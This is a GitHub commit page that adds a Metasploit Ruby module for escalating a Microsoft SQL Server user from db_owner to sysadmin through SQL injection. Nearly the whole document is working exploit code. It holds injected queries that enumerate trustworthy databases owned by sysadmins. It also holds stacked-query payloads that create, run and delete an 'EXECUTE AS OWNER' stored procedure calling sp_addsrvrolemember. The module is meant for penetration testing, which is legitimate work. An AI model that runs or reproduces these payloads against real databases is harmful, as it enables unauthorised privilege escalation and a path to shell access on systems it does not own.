Skip to content

Commit bf92769

Browse files
committed
added mssql_escalate_dbowner_sqli
1 parent 50a2f4c commit bf92769

File tree

1 file changed

+203
-0
lines changed

1 file changed

+203
-0
lines changed
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL_SQLI
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Microsoft SQL Server - Escalate Db_Owner - SQLi',
17+
'Description' => %q{
18+
This module can be used to escalate privileges to sysadmin if the user has
19+
the db_owner role in a trustworthy database owned by a sysadmin user. Once
20+
the user has the sysadmin role the mssql_payload_sqli module can be used to obtain
21+
a shell on the system.
22+
23+
Syntax for injection URLs:
24+
25+
Error: /account.asp?id=1+and+1=[SQLi];--
26+
},
27+
'Author' =>
28+
[
29+
'nullbind <scott.sutherland[at]netspi.com>'
30+
],
31+
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
32+
'License' => MSF_LICENSE,
33+
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
34+
))
35+
end
36+
37+
def run
38+
39+
# Get the database user name
40+
print_status("Grabbing the database user name from #{rhost}:#{rport}...")
41+
db_user = get_username
42+
print_good("Database user: #{db_user}")
43+
44+
# Grab sysadmin status
45+
print_status("Checking if #{db_user} is already a sysadmin...")
46+
sysadmin_status = check_sysadmin
47+
if sysadmin_status == 1
48+
print_good("#{db_user} is already a sysadmin, no esclation needed.")
49+
return
50+
else
51+
print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
52+
end
53+
54+
# Check for trusted databases owned by sysadmins
55+
print_status("Checking for trusted databases owned by sysadmins...")
56+
trust_db_list = check_trust_dbs
57+
if trust_db_list.nil? || trust_db_list.length == 0
58+
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
59+
return
60+
else
61+
# Display list of accessible databases to user
62+
print_good("#{trust_db_list.length} affected database(s) were found:")
63+
64+
if trust_db_list.length == 1
65+
trust_db_one = trust_db_list.flatten.first
66+
print_status(" - #{trust_db_one}")
67+
else
68+
trust_db_list.each do |db|
69+
print_status(" - #{db[0]}")
70+
end
71+
end
72+
end
73+
74+
# Check if the user has the db_owner role in any of the databases
75+
print_status("Checking if #{db_user} has the db_owner role in any of them...")
76+
dbowner_status = check_db_owner(trust_db_list)
77+
if dbowner_status.nil?
78+
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
79+
return
80+
else
81+
print_good("#{db_user} has the db_owner role on #{dbowner_status}.")
82+
end
83+
84+
# Attempt to escalate to sysadmin
85+
print_status("Attempting to add #{db_user} to sysadmin role...")
86+
escalate_status = escalate_privs(dbowner_status,db_user)
87+
if escalate_status == 1
88+
print_good("Success! #{db_user} is now a sysadmin!")
89+
else
90+
print_error("Fail buckets, something went wrong.")
91+
end
92+
end
93+
94+
#
95+
# Functions
96+
#
97+
98+
def get_username
99+
# Setup query to check for database username
100+
sql = "(select 'EVILSQLISTART'+SYSTEM_USER+'EVILSQLISTOP')"
101+
102+
# Run query
103+
result = mssql_query(sql)
104+
105+
# Parse result
106+
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
107+
108+
# Return user name
109+
return parsed_result
110+
end
111+
112+
def check_sysadmin
113+
# Setup query to check for sysadmin
114+
sql = "(select 'EVILSQLISTART'+cast((select is_srvrolemember('sysadmin'))as varchar)+'EVILSQLISTOP')"
115+
116+
# Run query
117+
result = mssql_query(sql)
118+
119+
# Parse result
120+
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
121+
122+
# Return sysadmin status
123+
return parsed_result.to_i
124+
end
125+
126+
def check_trust_dbs
127+
# Setup query to check for trusted databases owned by sysadmins
128+
sql = "(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as DbName
129+
FROM sys.server_principals r
130+
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
131+
INNER JOIN sys.server_principals p ON
132+
p.principal_id = m.member_principal_id
133+
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
134+
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
135+
136+
# Run query
137+
result = mssql_query(sql)
138+
139+
#Parse results
140+
parsed_result = result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m)
141+
142+
# Return sysadmin status
143+
return parsed_result
144+
end
145+
146+
def check_db_owner(trust_db_list)
147+
# Check if the user has the db_owner role is any databases
148+
trust_db_list.each do |db|
149+
# Setup query
150+
sql = "(select 'EVILSQLISTART'+'#{db[0]}'+'EVILSQLISTOP' as DbName
151+
from [#{db[0]}].sys.database_role_members drm
152+
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
153+
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
154+
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
155+
156+
# Run query
157+
result = mssql_query(sql)
158+
159+
# Parse result
160+
parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
161+
162+
# Return sysadmin status
163+
return parsed_result
164+
end
165+
nil
166+
end
167+
168+
# Attempt to escalate privileges
169+
def escalate_privs(dbowner_db,db_user)
170+
# Create the evil stored procedure WITH EXECUTE AS OWNER
171+
evil_sql_create = "1;use #{dbowner_db};
172+
DECLARE @myevil as varchar(max)
173+
set @myevil = '
174+
CREATE PROCEDURE sp_elevate_me
175+
WITH EXECUTE AS OWNER
176+
as
177+
begin
178+
EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''
179+
end';
180+
exec(@myevil);--"
181+
mssql_query(evil_sql_create)
182+
183+
# Run the evil stored procedure
184+
evilsql_run = "1;use #{dbowner_db};
185+
DECLARE @myevil2 as varchar(max)
186+
set @myevil2 = 'EXEC sp_elevate_me'
187+
exec(@myevil2);--"
188+
mssql_query(evilsql_run)
189+
190+
# Remove evil procedure
191+
evilsql_remove = "1;use #{dbowner_db};
192+
DECLARE @myevil3 as varchar(max)
193+
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
194+
exec(@myevil3);--"
195+
mssql_query(evilsql_remove)
196+
197+
# Check sysadmin status
198+
sysadmin_status = check_sysadmin
199+
200+
# return parsed_result
201+
return sysadmin_status.to_i
202+
end
203+
end

0 commit comments

Comments
 (0)